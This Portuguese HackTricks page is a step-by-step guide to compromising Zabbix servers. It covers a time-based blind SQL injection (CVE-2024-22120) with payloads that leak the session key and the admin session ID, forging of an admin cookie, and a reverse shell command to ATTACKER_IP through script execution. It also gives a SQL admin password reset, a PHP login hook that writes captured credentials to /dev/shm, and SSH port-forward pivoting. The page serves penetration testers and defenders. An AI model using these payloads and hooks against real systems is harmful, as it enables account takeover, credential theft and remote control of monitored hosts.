Segurança do Zabbix

Reading time: 7 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

Visão geral

Zabbix é uma plataforma de monitoramento que expõe uma web UI (tipicamente atrás de Apache/Nginx) e um componente server que também fala o protocolo Zabbix em TCP/10051 (server/trapper) e agent em TCP/10050. Durante testes você pode encontrar:

  • Web UI: virtual host HTTP(S) como zabbix.example.tld
  • Zabbix server port: 10051/tcp (JSON over a ZBXD header framing)
  • Zabbix agent port: 10050/tcp

Formato útil de cookie: zbx_session é Base64 de um objeto JSON compacto que inclui ao menos sessionid, serverCheckResult, serverCheckTime e sign. O sign é um HMAC do payload JSON.

Versões recentes do Zabbix computam o cookie assim:

  • data JSON: {"sessionid":"<32-hex>","serverCheckResult":true,"serverCheckTime":<unix_ts>}
  • sign: HMAC-SHA256(key=session_key, data=JSON string of data sorted by keys and compact separators)
  • Final cookie: Base64(JSON_with_sign)

Se você conseguir recuperar o session_key global e um sessionid admin válido, pode forjar um cookie Admin válido offline e autenticar na UI.

CVE-2024-22120 — Time-based blind SQLi no log de auditoria do Zabbix Server

Affected versions (as publicly documented):

  • 6.0.0–6.0.27, 6.4.0–6.4.12, 7.0.0alpha1

Resumo da vulnerabilidade:

  • Quando uma execução de Script é registrada no log de auditoria do Zabbix Server, o campo clientip não é sanitizado e é concatenado em SQL, permitindo Time-based blind SQLi via o componente server.
  • Isso é explorável enviando uma request "command" crafteda para o Zabbix server port 10051 com um sessionid válido de baixa-privilegio, um hostid que o usuário consiga acessar e um scriptid permitido.

Pré-requisitos e dicas de descoberta:

  • sessionid: A partir de guest/login na web UI, decodifique zbx_session (Base64) para obter o sessionid.
  • hostid: Observe via requisições da web UI (ex., Monitoring → Hosts) ou intercepte com um proxy; o padrão comum é 10084.
  • scriptid: Apenas scripts permitidos ao papel/role atual serão executados; verifique inspecionando o script menu/AJAX responses. Defaults como 1 ou 2 frequentemente são permitidos; 3 pode ser negado.

Fluxo de exploração

  1. Disparar inserção de auditoria com SQLi no clientip
  • Conecte-se em TCP/10051 e envie uma mensagem emoldurada Zabbix com request="command" incluindo sid, hostid, scriptid, e clientip definido para uma expressão SQL que será concatenada pelo server e avaliada.

Minimal message (JSON body) fields:

json
{
"request": "command",
"sid": "<low-priv-sessionid>",
"scriptid": "1",
"clientip": "' + (SQL_PAYLOAD) + '",
"hostid": "10084"
}

O formato completo do wire é: "ZBXD\x01" + comprimento little-endian de 8 bytes + JSON em UTF-8. Você pode usar pwntools ou seu próprio código de socket para montá-lo.

  1. Time-bruteforce secrets via conditional sleep

Use expressões condicionais para leak hex-encoded secrets 1 char at a time medindo o tempo de resposta. Exemplos que funcionaram na prática:

  • Leak global session_key from config:
sql
(select CASE WHEN (ascii(substr((select session_key from config),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)
  • Leak Admin session_id (userid=1) de sessions:
sql
(select CASE WHEN (ascii(substr((select sessionid from sessions where userid=1 limit 1),{pos},1))={ord}) THEN sleep({T_TRUE}) ELSE sleep({T_FALSE}) END)

Notas:

  • charset: 32 hex chars [0-9a-f]
  • Escolha T_TRUE >> T_FALSE (por exemplo, 10 vs 1) e meça o wall-clock por tentativa
  • Garanta que seu scriptid esteja realmente autorizado para o usuário; caso contrário nenhuma linha de auditoria será produzida e a medição de tempo não funcionará
  1. Forjar cookie Admin

Uma vez que você tenha:

  • session_key: 32-hex de config.session_key
  • admin_sessionid: 32-hex de sessions.sessionid para userid=1

Calcule:

  • sign = HMAC_SHA256(key=session_key, data=json.dumps({sessionid, serverCheckResult:true, serverCheckTime:now}, sort by key, compact))
  • zbx_session = Base64(JSON_with_sign)

Defina o cookie zbx_session para esse valor e faça GET /zabbix.php?action=dashboard.view para validar o acesso Admin.

Ferramentas prontas

  • PoC público automatiza: bruteforce de session_key e admin sessionid, e forjamento do cookie; requer pwntools e requests.
  • Parâmetros a fornecer normalmente incluem: --ip (FQDN da UI), --port 10051, --sid (low-priv), --hostid, e opcionalmente um --admin-sid conhecido para pular o brute.

RCE via Script execution (pós-Admin)

Com acesso Admin na UI, você pode executar Scripts predefinidos contra hosts monitorados. Se agents/hosts executarem comandos de script localmente, isso resulta em execução de código nesses sistemas (frequentemente como o usuário zabbix em hosts Linux):

  • Checagem rápida: execute id para confirmar o contexto do usuário
  • Exemplo de Reverse shell:
bash
bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'

TTY upgrade (Linux):

bash
script /dev/null -c bash
# background with Ctrl+Z, then on attacker terminal:
stty raw -echo; fg
reset

Se você tiver acesso ao DB, uma alternativa a forjar um cookie é redefinir a senha do Admin para o bcrypt documentado para "zabbix":

sql
UPDATE users SET passwd='$2a$10$ZXIvHAEP2ZM.dLXTm6uPHOMVlARXX7cqjbhM6Fn0cANzkCQBWpMrS' WHERE username='Admin';

Captura de credenciais via login hook (post-exploitation)

Se for possível gravar arquivos no servidor da interface web, você pode adicionar temporariamente um trecho de logging em /usr/share/zabbix/index.php, ao redor do ramo de login baseado em formulário, para capturar credenciais:

php
// login via form
if (hasRequest('enter') && CWebUser::login(getRequest('name', ZBX_GUEST_USER), getRequest('password', ''))) {
$user = $_POST['name'] ?? '??';
$password = $_POST['password'] ?? '??';
$f = fopen('/dev/shm/creds.txt','a+'); fputs($f, "$user:$password\n"); fclose($f);
CSessionHelper::set('sessionid', CWebUser::$data['sessionid']);
}

Os usuários se autenticam normalmente; leia /dev/shm/creds.txt em seguida. Remova o hook quando terminar.

Pivoting para serviços internos

Mesmo se o shell da conta de serviço for /usr/sbin/nologin, adicionar uma entrada SSH authorized_keys e usar -N -L permite local port-forwarding para serviços acessíveis apenas via loopback (por exemplo, CI/CD em 8111):

bash
ssh -i key user@host -N -L 8111:127.0.0.1:8111

Veja mais tunneling patterns em: Confira Tunneling and Port Forwarding.

Dicas operacionais

  • Valide que scriptid é permitido para a role atual (guest pode ter um conjunto limitado)
  • Timing brute pode ser lento; armazene em cache o admin sessionid recuperado e reutilize-o
  • O JSON enviado para 10051 deve ser encapsulado com o cabeçalho ZBXD\x01 e um comprimento little-endian

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks